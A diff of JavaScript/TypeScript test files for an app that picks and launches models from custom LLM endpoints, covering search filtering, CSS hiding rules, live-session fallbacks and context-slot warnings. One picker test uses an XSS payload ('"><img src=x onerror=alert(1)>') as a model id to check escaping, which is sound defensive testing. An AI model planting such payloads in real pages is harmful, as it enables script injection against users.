||||
expect(session.envOverrideValue('CLAUDE_CODE_MAX_CONTEXT_TOKENS')).toBeUndefined();
|
||||
});
|
||||
|
||||
it('does not give a revoked owner their DSH_HOME back from disk', async () => {
|
||||
// DSH_HOME is a privileged key: the reboot-restore clamp strips `__envOverrides`, and
|
||||
// this record must not be a way around it.
|
||||
await writeCustomModelHosts(getDataDir(), [endpoint()]);
|
||||
const saved = savedByPreviousRun();
|
||||
process.env.CODEMAN_MULTIUSER = '1';
|
||||
const session = new Session({ workingDir: '/tmp', mode: 'deepseek', owner: 'nobody' });
|
||||
configs.push(session.id);
|
||||
|
||||
await restoreCustomModel(session, saved);
|
||||
|
||||
session.setCustomModel(undefined);
|
||||
expect(session.envOverrideValue('DSH_HOME')).toBeUndefined();
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -20,10 +20,18 @@ import { describe, expect, it, vi } from 'vitest';
|
||||
|
||||
const CONSTANTS_JS = readFileSync(new URL('../src/web/public/constants.js', import.meta.url), 'utf-8');
|
||||
const SESSION_UI_JS = readFileSync(new URL('../src/web/public/session-ui.js', import.meta.url), 'utf-8');
|
||||
// Only for the [hidden] CSS guard below: the filter toggles the `hidden` property, and
|
||||
// `.run-mode-option`'s own `display: flex` would silently defeat it without the
|
||||
// `!important` re-assertion in styles.css.
|
||||
const STYLES_CSS = readFileSync(new URL('../src/web/public/styles.css', import.meta.url), 'utf-8');
|
||||
// Only for the real _showCenterStatus DOM tests below (`bootAppWithRealCenterStatus`) —
|
||||
// every other test in this file stubs _showCenterStatus itself and has no need of it.
|
||||
const PANELS_UI_JS = readFileSync(new URL('../src/web/public/panels-ui.js', import.meta.url), 'utf-8');
|
||||
|
||||
// The warning formats counts with the runtime's own locale (a German user reads 131.072), so the
|
||||
// expectations ask the same runtime instead of hard-coding the en-US grouping.
|
||||
const num = (n: number) => n.toLocaleString();
|
||||
|
||||
function resp(body: unknown, ok = true) {
|
||||
return { ok, json: async () => body };
|
||||
}
|
||||
@@ -40,6 +48,8 @@ function bootApp(
|
||||
cliAvailable?: (id: string) => boolean;
|
||||
activeCase?: { location?: string } | null;
|
||||
settingsEnabled?: boolean;
|
||||
/** Live sessions for the "in use by a session" fallback, in `this.sessions` Map shape. */
|
||||
sessions?: Array<Record<string, unknown>>;
|
||||
} = {}
|
||||
) {
|
||||
const dom = new JSDOM(
|
||||
@@ -55,6 +65,10 @@ function bootApp(
|
||||
<div class="modal" id="customModelPickModal">
|
||||
<h3 id="customModelPickTitle"></h3>
|
||||
<p id="customModelPickHint"></p>
|
||||
<input type="search" id="customModelPickSearch" aria-label="Search models"
|
||||
oninput="app.filterCustomModelPick(this.value)">
|
||||
<p id="customModelPickNoMatches" role="status" hidden>No models match</p>
|
||||
<p id="customModelPickUnknown" role="status" hidden>Nothing is marked: this endpoint did not report which model it has loaded, and none of your running sessions uses one. Pick the model to launch.</p>
|
||||
<div id="customModelPickList"></div>
|
||||
</div>
|
||||
<div class="modal" id="customModelSwapConfirmModal">
|
||||
@@ -81,6 +95,10 @@ function bootApp(
|
||||
app.cases = options.activeCase ? [{ name: 'testcase', ...options.activeCase }] : [{ name: 'testcase' }];
|
||||
app.loadAppSettingsFromStorage = () => ({ customModelEndpointsEnabled: options.settingsEnabled ?? true });
|
||||
app.isCliAvailable = options.cliAvailable ?? (() => true);
|
||||
// The real app keeps live sessions in a Map keyed by id (app.js), which is what
|
||||
// _getCustomModelInUseBySession walks; empty by default so a test that says nothing
|
||||
// about sessions sees no promotion, exactly like a box with none running.
|
||||
app.sessions = new Map((options.sessions || []).map((s, i) => [String(i), s]));
|
||||
app.showToast = () => {};
|
||||
// Real implementation lives in panels-ui.js, not evaluated into this harness (only
|
||||
// constants.js + session-ui.js are — see below) — a no-op default handle matching its
|
||||
@@ -315,6 +333,27 @@ describe('Custom Model Endpoint Profiles: the "which model" picker', () => {
|
||||
expect(buttons[0].textContent).not.toContain('Currently loaded');
|
||||
});
|
||||
|
||||
it('treats a remembered "last used" id the host no longer lists as nothing promoted: no tag, the line shows', async () => {
|
||||
const { win, app } = bootApp({
|
||||
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
|
||||
});
|
||||
const origApiJson = app._apiJson;
|
||||
app._apiJson = async (path: string) => {
|
||||
if (path === '/api/model-endpoints/llama-box/running-status') return { isLlamaSwap: false, running: [] };
|
||||
return origApiJson(path);
|
||||
};
|
||||
// The remembered model was deleted from this endpoint since the last launch.
|
||||
win.localStorage.setItem('codeman:customModelLastUsed:claude:llama-box', 'gone-model');
|
||||
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
|
||||
const list = win.document.getElementById('customModelPickList')!;
|
||||
expect(list.textContent).not.toContain('Last used');
|
||||
// Without a promoted row the probe really did answer "nothing is known", so the
|
||||
// explanation line must show rather than leave two unmarked rows unexplained.
|
||||
expect(win.document.getElementById('customModelPickUnknown')!.hidden).toBe(false);
|
||||
});
|
||||
|
||||
it('prefers the currently-loaded model over a stale "last used" entry when both are present', async () => {
|
||||
const { win, app } = bootApp({
|
||||
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3', 'phi4'] }],
|
||||
@@ -532,9 +571,349 @@ describe('Custom Model Endpoint Profiles: the "which model" picker', () => {
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
expect(toastMessage).toMatch(/no models discovered/i);
|
||||
});
|
||||
|
||||
it('resets and focuses the search box every time the picker opens', async () => {
|
||||
const { win, app } = bootApp({
|
||||
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
|
||||
});
|
||||
win.app = app;
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
|
||||
// The caret lands in the box, so the first keystroke filters with no click.
|
||||
expect(win.document.activeElement).toBe(search);
|
||||
// A stale query from a previous open must not survive into the next one.
|
||||
search.value = 'zzz';
|
||||
search.dispatchEvent(new win.Event('input'));
|
||||
app.closeCustomModelPickModal();
|
||||
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
expect(search.value).toBe('');
|
||||
expect(win.document.activeElement).toBe(search);
|
||||
expect(win.document.getElementById('customModelPickNoMatches')!.hasAttribute('hidden')).toBe(true);
|
||||
const visible = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')].filter(
|
||||
(b) => !b.hasAttribute('hidden')
|
||||
);
|
||||
expect(visible).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('leaves the search box unfocused on touch devices so the OS keyboard stays off the list', async () => {
|
||||
const { win, app } = bootApp({
|
||||
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
|
||||
});
|
||||
win.app = app;
|
||||
// The guard reads the global the browser defines (mobile-detection.js).
|
||||
(win as unknown as { MobileDetection: { isTouchDevice: () => boolean } }).MobileDetection = {
|
||||
isTouchDevice: () => true,
|
||||
};
|
||||
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
|
||||
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
|
||||
expect(win.document.activeElement).not.toBe(search);
|
||||
// Only the focus is skipped: the rows still render, unfiltered and functional.
|
||||
const visible = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')].filter(
|
||||
(b) => !b.hasAttribute('hidden')
|
||||
);
|
||||
expect(visible).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('filters rows case-insensitively on the model id, keeping the surviving row fully functional', async () => {
|
||||
const { win, app } = bootApp({
|
||||
hosts: [
|
||||
{
|
||||
id: 'llama-box',
|
||||
label: 'llama.cpp',
|
||||
baseUrl: 'http://x',
|
||||
models: ['qwen3', 'llama3'],
|
||||
defaultModelId: 'qwen3',
|
||||
},
|
||||
],
|
||||
});
|
||||
let launched: unknown[] | null = null;
|
||||
app.runCustomModelEntry = async (...args: unknown[]) => {
|
||||
launched = args;
|
||||
};
|
||||
win.app = app;
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
|
||||
search.value = 'QWEN';
|
||||
search.dispatchEvent(new win.Event('input'));
|
||||
|
||||
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
|
||||
expect(buttons.filter((b) => b.hasAttribute('hidden')).map((b) => b.textContent!.trim())).toEqual(['llama3']);
|
||||
const [visible] = buttons.filter((b) => !b.hasAttribute('hidden'));
|
||||
// The surviving row keeps its Default badge and its real, callable click handler.
|
||||
expect(visible.textContent).toContain('qwen3');
|
||||
expect(visible.textContent).toContain('Default');
|
||||
(visible as unknown as HTMLButtonElement & { onclick: (e: unknown) => void }).onclick(
|
||||
new (win as any).Event('click')
|
||||
);
|
||||
expect(launched).toEqual(['claude', 'llama-box', 'qwen3']);
|
||||
});
|
||||
|
||||
it('shows the no-matches line only while a query matches nothing, and clears it with the query', async () => {
|
||||
const { win, app } = bootApp({
|
||||
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
|
||||
});
|
||||
win.app = app;
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
|
||||
const noMatches = win.document.getElementById('customModelPickNoMatches')!;
|
||||
const isHidden = () =>
|
||||
win.document.getElementById('customModelPickList')!.querySelectorAll('button[hidden]').length;
|
||||
|
||||
// Whitespace is not a query: everything stays visible, no message.
|
||||
search.value = ' ';
|
||||
search.dispatchEvent(new win.Event('input'));
|
||||
expect(noMatches.hasAttribute('hidden')).toBe(true);
|
||||
expect(isHidden()).toBe(0);
|
||||
|
||||
search.value = 'ghost';
|
||||
search.dispatchEvent(new win.Event('input'));
|
||||
expect(noMatches.hasAttribute('hidden')).toBe(false);
|
||||
expect(isHidden()).toBe(2);
|
||||
|
||||
search.value = '';
|
||||
search.dispatchEvent(new win.Event('input'));
|
||||
expect(noMatches.hasAttribute('hidden')).toBe(true);
|
||||
expect(isHidden()).toBe(0);
|
||||
});
|
||||
|
||||
it('keeps an HTML-significant model id inert in the picker rows too, and filterable by its raw text', async () => {
|
||||
// Same vector as the Run-menu row above, now via data-model-id: escapeHtml covers
|
||||
// the double quote, and the filter reads the decoded raw id back off dataset.
|
||||
const dangerousModel = '"><img src=x onerror=alert(1)>';
|
||||
const { win, app } = bootApp({
|
||||
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', dangerousModel] }],
|
||||
});
|
||||
win.app = app;
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
const list = win.document.getElementById('customModelPickList')!;
|
||||
expect(list.querySelector('img')).toBeNull();
|
||||
|
||||
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
|
||||
search.value = 'src=x';
|
||||
search.dispatchEvent(new win.Event('input'));
|
||||
const visible = list.querySelectorAll('button:not([hidden])');
|
||||
expect(visible).toHaveLength(1);
|
||||
expect(visible[0].getAttribute('data-model-id')).toBe(dangerousModel);
|
||||
});
|
||||
|
||||
it('re-asserts display:none !important for hidden picker rows so the filter cannot be silently defeated', () => {
|
||||
// `.run-mode-option` carries its own `display: flex` (styles.css, restated in
|
||||
// mobile.css), which outranks the UA `[hidden]` rule: without this scoped
|
||||
// !important re-assertion, toggling `hidden` would change nothing on screen.
|
||||
const rule = STYLES_CSS.match(/#customModelPickModal \.run-mode-option\[hidden\]\s*\{[^}]*\}/);
|
||||
expect(rule, 'picker rows need a [hidden] rule scoped to #customModelPickModal').toBeTruthy();
|
||||
expect(rule![0]).toMatch(/display:\s*none\s*!important/);
|
||||
});
|
||||
|
||||
it('pins "No models match" hidden with an empty query and shown only when a query hides every row, in CSS too', async () => {
|
||||
// The visible symptom: the line carries `.form-hint`, whose `display: block`
|
||||
// outranks the UA `[hidden]` rule, so `hidden` alone showed "No models match"
|
||||
// while every model was listed with an empty search box. The attribute half
|
||||
// was always right (session-ui.js's `filterCustomModelPick`); the CSS half
|
||||
// needed the same `[hidden] { display: none !important }` re-assertion the
|
||||
// rows above carry. This test pins both states AND the CSS that makes them
|
||||
// actually render.
|
||||
const rule = STYLES_CSS.match(/#customModelPickModal \.custom-model-pick-no-matches\[hidden\]\s*\{[^}]*\}/);
|
||||
expect(rule, 'the no-matches line needs a [hidden] rule scoped to #customModelPickModal').toBeTruthy();
|
||||
expect(rule![0]).toMatch(/display:\s*none\s*!important/);
|
||||
|
||||
const { win, app } = bootApp({
|
||||
hosts: [{ id: 'llama-box', label: 'llama.cpp', baseUrl: 'http://x', models: ['qwen3', 'llama3'] }],
|
||||
});
|
||||
win.app = app;
|
||||
await app.selectCustomModelEntry('claude', 'llama-box');
|
||||
const noMatches = win.document.getElementById('customModelPickNoMatches')!;
|
||||
|
||||
// Empty query, models listed: the attribute must be set, and the CSS rule
|
||||
// above is what makes that attribute actually hide the line.
|
||||
expect(noMatches.hasAttribute('hidden')).toBe(true);
|
||||
|
||||
// A non-empty query that hides every row: shown again.
|
||||
const search = win.document.getElementById('customModelPickSearch') as HTMLInputElement;
|
||||
search.value = 'ghost';
|
||||
search.dispatchEvent(new win.Event('input'));
|
||||
expect(noMatches.hasAttribute('hidden')).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe('Custom Model Endpoint Profiles: _getCustomModelCurrentlyLoaded is client-side bounded', () => {
|
||||
/**
|
||||
* The reported bug: a gateway such as Bifrost (40 models, alphabetical, no llama-swap
|
||||
* `/running` route of its own) showed "Choose a model" with nothing marked, so the user
|
||||
* could not tell which model the endpoint was actually serving, while the same endpoint
|
||||
* reached from the Codex CLI appeared to "default to alpha order" for every other CLI.
|
||||
* The endpoint genuinely cannot answer, so the app falls back to what it does know: a
|
||||
* live session it has itself pointed at that endpoint. And it says so plainly when it
|
||||
* knows neither.
|
||||
*/
|
||||
describe('Custom Model Endpoint Profiles: gateways without /running fall back to a live session', () => {
|
||||
const GATEWAY = {
|
||||
id: 'bifrost',
|
||||
label: 'bifrost',
|
||||
baseUrl: 'https://bifrost.example',
|
||||
models: ['llama-swap/alpha-3b', 'llama-swap/qwen3.8-flash-next-unsloth-ud-iq4_xs', 'llama-swap/zeta-70b'],
|
||||
};
|
||||
|
||||
/** The gateway's exact shape: reachable, OpenAI-compatible, and not llama-swap. */
|
||||
function gatewayApp(sessions: Array<Record<string, unknown>>) {
|
||||
const booted = bootApp({ hosts: [GATEWAY], sessions });
|
||||
const origApiJson = booted.app._apiJson;
|
||||
booted.app._apiJson = async (path: string) => {
|
||||
if (path === '/api/model-endpoints/bifrost/running-status') return { isLlamaSwap: false, running: [] };
|
||||
return origApiJson(path);
|
||||
};
|
||||
return booted;
|
||||
}
|
||||
|
||||
const live = (modelId: string, overrides: Record<string, unknown> = {}) => ({
|
||||
name: 'w9-Gateway',
|
||||
status: 'busy',
|
||||
pid: 4242,
|
||||
createdAt: 1_700_000_000_000,
|
||||
customModel: { endpointId: 'bifrost', modelId, label: 'bifrost' },
|
||||
...overrides,
|
||||
});
|
||||
|
||||
it('marks the model a live session is running, at the top, for EVERY CLI, not just claude', async () => {
|
||||
const inUse = 'llama-swap/qwen3.8-flash-next-unsloth-ud-iq4_xs';
|
||||
for (const mode of ['opencode', 'deepseek', 'codex', 'claude']) {
|
||||
const { win, app } = gatewayApp([live(inUse)]);
|
||||
await app._openCustomModelPickModal(mode, GATEWAY);
|
||||
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
|
||||
expect(buttons).toHaveLength(3);
|
||||
expect(buttons[0].textContent, mode).toContain(inUse);
|
||||
expect(buttons[0].textContent, mode).toContain('In use by a session');
|
||||
// The other rows keep discovery order and carry no tag of their own.
|
||||
expect(buttons[1].textContent).toContain('llama-swap/alpha-3b');
|
||||
expect(buttons[2].querySelectorAll('.set-scope')).toHaveLength(0);
|
||||
// Nothing was fabricated about the endpoint itself.
|
||||
expect(win.document.getElementById('customModelPickList')!.textContent).not.toContain('Currently loaded');
|
||||
expect(win.document.getElementById('customModelPickUnknown')!.hasAttribute('hidden')).toBe(true);
|
||||
}
|
||||
});
|
||||
|
||||
it('a live session outranks this device’s "last used" memory, and both rank above nothing', async () => {
|
||||
const { win, app } = gatewayApp([live('llama-swap/zeta-70b')]);
|
||||
win.localStorage.setItem('codeman:customModelLastUsed:opencode:bifrost', 'llama-swap/alpha-3b');
|
||||
|
||||
await app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
|
||||
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
|
||||
expect(buttons[0].textContent).toContain('llama-swap/zeta-70b');
|
||||
expect(buttons[0].textContent).toContain('In use by a session');
|
||||
expect(buttons[0].textContent).not.toContain('Last used');
|
||||
// The remembered pick is still listed, just not promoted or double-tagged.
|
||||
expect(buttons[1].textContent).toContain('llama-swap/alpha-3b');
|
||||
expect(buttons[1].querySelectorAll('.set-scope')).toHaveLength(0);
|
||||
});
|
||||
|
||||
it('a stopped session, an exited process, an exited pane, another endpoint or an undiscovered model mark nothing', async () => {
|
||||
const inUse = 'llama-swap/qwen3.8-flash-next-unsloth-ud-iq4_xs';
|
||||
const cases: Array<[string, Record<string, unknown>]> = [
|
||||
['stopped', { status: 'stopped' }],
|
||||
['process exited (pid null)', { pid: null }],
|
||||
['pane exited', { paneExit: { at: 1, status: 0 } }],
|
||||
['other endpoint', { customModel: { endpointId: 'other', modelId: inUse } }],
|
||||
['no custom model', { customModel: undefined }],
|
||||
['undiscovered model', { customModel: { endpointId: 'bifrost', modelId: 'llama-swap/retired-model' } }],
|
||||
];
|
||||
for (const [label, overrides] of cases) {
|
||||
const { win, app } = gatewayApp([live(inUse, overrides)]);
|
||||
await app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
const list = win.document.getElementById('customModelPickList')!;
|
||||
expect(list.textContent, label).not.toContain('In use by a session');
|
||||
expect(list.textContent, label).not.toContain('Last used');
|
||||
// Discovery order untouched: nothing got dragged to the top.
|
||||
expect(list.querySelectorAll('button')![0].textContent).toContain('llama-swap/alpha-3b');
|
||||
}
|
||||
});
|
||||
|
||||
it('the most recently launched live session wins when two share an endpoint', async () => {
|
||||
const { win, app } = gatewayApp([
|
||||
live('llama-swap/alpha-3b', { createdAt: 1 }),
|
||||
live('llama-swap/zeta-70b', { createdAt: 2 }),
|
||||
]);
|
||||
|
||||
await app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
|
||||
const buttons = [...win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
|
||||
expect(buttons[0].textContent).toContain('llama-swap/zeta-70b');
|
||||
expect(buttons.filter((b) => b.textContent!.includes('In use by a session'))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('says so plainly when nothing is known (a down endpoint answers the very same shape)', async () => {
|
||||
const { win, app } = gatewayApp([]);
|
||||
|
||||
await app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
|
||||
const unknown = win.document.getElementById('customModelPickUnknown')!;
|
||||
expect(unknown.hasAttribute('hidden')).toBe(false);
|
||||
expect(unknown.textContent).toContain('did not report which model it has loaded');
|
||||
// What REALLY arrives here, not a fiction: `getLlamaSwapStatus` (custom-model-routes.ts)
|
||||
// turns EVERY upstream failure into `isLlamaSwap: false` (a gateway with no
|
||||
// `/running` route, a closed port, an unresolvable host, a 401), so this stub is
|
||||
// also exactly what a DOWN endpoint produces, which is why the line's wording says
|
||||
// only "did not report" and never why.
|
||||
// The same class-of-bug trap as the no-matches line: `.form-hint`'s `display: block`
|
||||
// outranks the UA `[hidden]` rule, so the attribute needs the CSS re-assertion.
|
||||
const rule = STYLES_CSS.match(/#customModelPickModal \.custom-model-pick-unknown\[hidden\]\s*\{[^}]*\}/);
|
||||
expect(rule, 'the unknown-endpoint line needs a [hidden] rule scoped to #customModelPickModal').toBeTruthy();
|
||||
expect(rule![0]).toMatch(/display:\s*none\s*!important/);
|
||||
});
|
||||
|
||||
it('hides that line whenever a row IS marked, and for a probe that never got any answer', async () => {
|
||||
// Marked by a live session: nothing to explain.
|
||||
const marked = gatewayApp([live('llama-swap/alpha-3b')]);
|
||||
await marked.app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
expect(marked.win.document.getElementById('customModelPickUnknown')!.hasAttribute('hidden')).toBe(true);
|
||||
|
||||
// `null` (no answer at all) only happens when Codeman's OWN request to the route
|
||||
// failed or the client-side bound won the race. The route itself never answers this
|
||||
// way for an unreachable endpoint: every fetch failure arrives as `isLlamaSwap:
|
||||
// false`, pinned by the test above. The box may merely be asleep, so stay silent.
|
||||
const asleep = bootApp({ hosts: [GATEWAY] });
|
||||
asleep.app._apiJson = async (path: string) => (path.includes('running-status') ? null : []);
|
||||
await asleep.app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
expect(asleep.win.document.getElementById('customModelPickUnknown')!.hasAttribute('hidden')).toBe(true);
|
||||
});
|
||||
|
||||
it('llama-swap’s own answer still wins over a session pin, and keeps its own tag', async () => {
|
||||
const booted = bootApp({
|
||||
hosts: [GATEWAY],
|
||||
sessions: [live('llama-swap/alpha-3b')],
|
||||
});
|
||||
const origApiJson = booted.app._apiJson;
|
||||
booted.app._apiJson = async (path: string) => {
|
||||
if (path === '/api/model-endpoints/bifrost/running-status') {
|
||||
return { isLlamaSwap: true, running: [{ model: 'llama-swap/zeta-70b', state: 'ready' }] };
|
||||
}
|
||||
return origApiJson(path);
|
||||
};
|
||||
|
||||
await booted.app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
|
||||
const buttons = [...booted.win.document.getElementById('customModelPickList')!.querySelectorAll('button')];
|
||||
expect(buttons[0].textContent).toContain('llama-swap/zeta-70b');
|
||||
expect(buttons[0].textContent).toContain('Currently loaded');
|
||||
expect(buttons[0].textContent).not.toContain('In use by a session');
|
||||
// The session's model is an ordinary row again: one promotion, not two.
|
||||
expect(buttons.filter((b) => b.querySelector('.set-scope'))).toHaveLength(1);
|
||||
});
|
||||
|
||||
it('never trusts displayModel: a session whose terminal merely printed a model marks nothing', async () => {
|
||||
const booted = gatewayApp([
|
||||
{ name: 'w9-Other', status: 'busy', createdAt: 1, displayModel: { model: 'llama-swap/zeta-70b', source: 'screen' } },
|
||||
]);
|
||||
|
||||
await booted.app._openCustomModelPickModal('opencode', GATEWAY);
|
||||
|
||||
expect(booted.win.document.getElementById('customModelPickList')!.textContent).not.toContain('In use by a session');
|
||||
});
|
||||
});
|
||||
|
||||
describe('Custom Model Endpoint Profiles: _getCustomModelRunningStatus is client-side bounded', () => {
|
||||
// `timeoutMs` driven in milliseconds rather than the real 800 — same reasoning as
|
||||
// `_watchLlamaSwapLoading`'s own `pollIntervalMs` a few describe blocks down: this
|
||||
// code runs inside the JSDOM window's own realm, whose setTimeout vi.useFakeTimers()
|
||||
@@ -549,26 +928,31 @@ describe('Custom Model Endpoint Profiles: _getCustomModelCurrentlyLoaded is clie
|
||||
// endpoint that is asleep or firewalled, distinct from one that answers an error.
|
||||
app._apiJson = () => new Promise(() => {});
|
||||
|
||||
const result = await app._getCustomModelCurrentlyLoaded({ id: 'llama-box', models: ['qwen3'] }, 5);
|
||||
const status = await app._getCustomModelRunningStatus({ id: 'llama-box', models: ['qwen3'] }, 5);
|
||||
|
||||
expect(result).toBeNull();
|
||||
// `null` means "no answer at all" (Codeman's own request failed or the client-side
|
||||
// bound won): the picker keeps its "Nothing is marked" line hidden for exactly this
|
||||
// case (pinned in the gateway describe above). An endpoint that is merely down is
|
||||
// NOT here: the route turns every fetch failure into `isLlamaSwap: false`.
|
||||
expect(status).toBeNull();
|
||||
expect(app._pickReadyRunningModel(status, { id: 'llama-box', models: ['qwen3'] })).toBeNull();
|
||||
});
|
||||
|
||||
it('an endpoint that answers well within the bound is unaffected by it', async () => {
|
||||
const { app } = bootApp({});
|
||||
app._apiJson = async () => ({ isLlamaSwap: true, running: [{ model: 'qwen3', state: 'ready' }] });
|
||||
|
||||
const result = await app._getCustomModelCurrentlyLoaded({ id: 'llama-box', models: ['qwen3'] }, 5);
|
||||
const status = await app._getCustomModelRunningStatus({ id: 'llama-box', models: ['qwen3'] }, 5);
|
||||
|
||||
expect(result).toBe('qwen3');
|
||||
expect(app._pickReadyRunningModel(status, { id: 'llama-box', models: ['qwen3'] })).toBe('qwen3');
|
||||
});
|
||||
|
||||
it('a rejected probe settles quietly to null rather than leaving an unhandled rejection once the timeout has already won the race', async () => {
|
||||
const { app } = bootApp({});
|
||||
app._apiJson = () => new Promise((_resolve, reject) => setTimeout(() => reject(new Error('boom')), 10));
|
||||
|
||||
const result = await app._getCustomModelCurrentlyLoaded({ id: 'llama-box', models: ['qwen3'] }, 2);
|
||||
expect(result).toBeNull();
|
||||
const status = await app._getCustomModelRunningStatus({ id: 'llama-box', models: ['qwen3'] }, 2);
|
||||
expect(status).toBeNull();
|
||||
// Give the loser of the race a turn to actually reject and hit its own .catch —
|
||||
// an unswallowed rejection here would surface as an "Unhandled Errors" failure
|
||||
// for the whole test file, not a failed assertion in this test.
|
||||
@@ -1281,7 +1665,7 @@ describe("Custom Model Endpoint Profiles: requiresContextWarning (this CLI's own
|
||||
|
||||
await app.runCustomModelEntry('claude', 'llama-box', 'qwen3');
|
||||
|
||||
expect(confirmArgs).toEqual(['qwen3', 16384, 40000]);
|
||||
expect(confirmArgs).toEqual(['qwen3', 16384, 40000, undefined]);
|
||||
expect(applyBodies).toEqual([
|
||||
{ endpointId: 'llama-box', modelId: 'qwen3' },
|
||||
{ endpointId: 'llama-box', modelId: 'qwen3', confirmedContext: true },
|
||||
@@ -1289,6 +1673,29 @@ describe("Custom Model Endpoint Profiles: requiresContextWarning (this CLI's own
|
||||
expect(win.localStorage.getItem('codeman:customModelLastUsed:claude:llama-box')).toBe('qwen3');
|
||||
});
|
||||
|
||||
it('forwards the slot count from the apply response into the modal', async () => {
|
||||
const { app, applyBodies } = launchHarness([
|
||||
{
|
||||
requiresContextWarning: true,
|
||||
modelId: 'qwen3',
|
||||
contextLength: 131072,
|
||||
minSafeContextTokens: 40000,
|
||||
slotCount: 4,
|
||||
},
|
||||
{ customModel: { endpointId: 'llama-box' }, restarted: true, modelSwapInProgress: false },
|
||||
]);
|
||||
let confirmArgs: unknown[] | undefined;
|
||||
app._confirmContextWarning = async (...args: unknown[]) => {
|
||||
confirmArgs = args;
|
||||
return true;
|
||||
};
|
||||
|
||||
await app.runCustomModelEntry('claude', 'llama-box', 'qwen3');
|
||||
|
||||
expect(confirmArgs).toEqual(['qwen3', 131072, 40000, 4]);
|
||||
expect(applyBodies).toHaveLength(2);
|
||||
});
|
||||
|
||||
it('declining the in-app context-warning modal keeps the native backend, never re-sends the apply, and must NEVER record this model as "last used" — it cannot work with this CLI at all', async () => {
|
||||
const { win, app, applyBodies } = launchHarness([
|
||||
{ requiresContextWarning: true, modelId: 'qwen3', contextLength: 16384, minSafeContextTokens: 40000 },
|
||||
@@ -1361,6 +1768,51 @@ describe('Custom Model Endpoint Profiles: _confirmContextWarning (in-app modal,
|
||||
expect(win.document.getElementById('customModelContextWarningModal')!.classList.contains('active')).toBe(false);
|
||||
});
|
||||
|
||||
it('explains shared parallel slots, and the --parallel 1 fix, when the context is enough only as a whole', async () => {
|
||||
const { win, app } = bootApp({});
|
||||
void app._confirmContextWarning('qwen3.8-27b-ud-q4_k_xl', 131072, 40000, 4);
|
||||
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
|
||||
expect(message).toContain('qwen3.8-27b-ud-q4_k_xl');
|
||||
expect(message).toContain('4 parallel');
|
||||
expect(message).toContain(num(131072));
|
||||
expect(message).toContain(num(32768)); // per slot
|
||||
expect(message).toContain('--parallel 1');
|
||||
expect(message).toContain('Context size has been exceeded');
|
||||
// this is not the "first message fails outright" case, so it must not claim that
|
||||
expect(message).not.toMatch(/first message will fail/i);
|
||||
expect(win.document.getElementById('customModelContextWarningModal')!.classList.contains('active')).toBe(true);
|
||||
app._resolveContextWarningConfirm(false);
|
||||
});
|
||||
|
||||
it('says the context is split across the slots, about N each, from the discovered context alone', async () => {
|
||||
const { win, app } = bootApp({});
|
||||
void app._confirmContextWarning('qwen3', 65536, 40000, 4);
|
||||
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
|
||||
expect(message).toContain(
|
||||
`${num(65536)} tokens of context are split across 4 parallel server slots, about ${num(16384)} each`
|
||||
);
|
||||
app._resolveContextWarningConfirm(false);
|
||||
});
|
||||
|
||||
it('keeps the too-small-context message for a small model and adds the slot advice when slots are known', async () => {
|
||||
const { win, app } = bootApp({});
|
||||
void app._confirmContextWarning('qwen3', 16384, 40000, 4);
|
||||
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
|
||||
expect(message).toContain(num(16384));
|
||||
expect(message).toMatch(/first message will fail/i);
|
||||
expect(message).toContain('4 parallel slots');
|
||||
expect(message).toContain('--parallel 1');
|
||||
app._resolveContextWarningConfirm(false);
|
||||
});
|
||||
|
||||
it('does not mention slots when there is one (or none known)', async () => {
|
||||
const { win, app } = bootApp({});
|
||||
void app._confirmContextWarning('qwen3', 16384, 40000, 1);
|
||||
const message = win.document.getElementById('customModelContextWarningMessage')!.textContent!;
|
||||
expect(message).not.toMatch(/parallel/i);
|
||||
app._resolveContextWarningConfirm(false);
|
||||
});
|
||||
|
||||
it('describes an unknown context length without printing a bogus number', async () => {
|
||||
const { win, app } = bootApp({});
|
||||
void app._confirmContextWarning('qwen3', undefined, 40000);
|
||||
|
||||
@@ -0,0 +1,100 @@
|
||||
/**
|
||||
* @fileoverview `guardSessionConfigDirHome` probes a session-supplied configDir home before
|
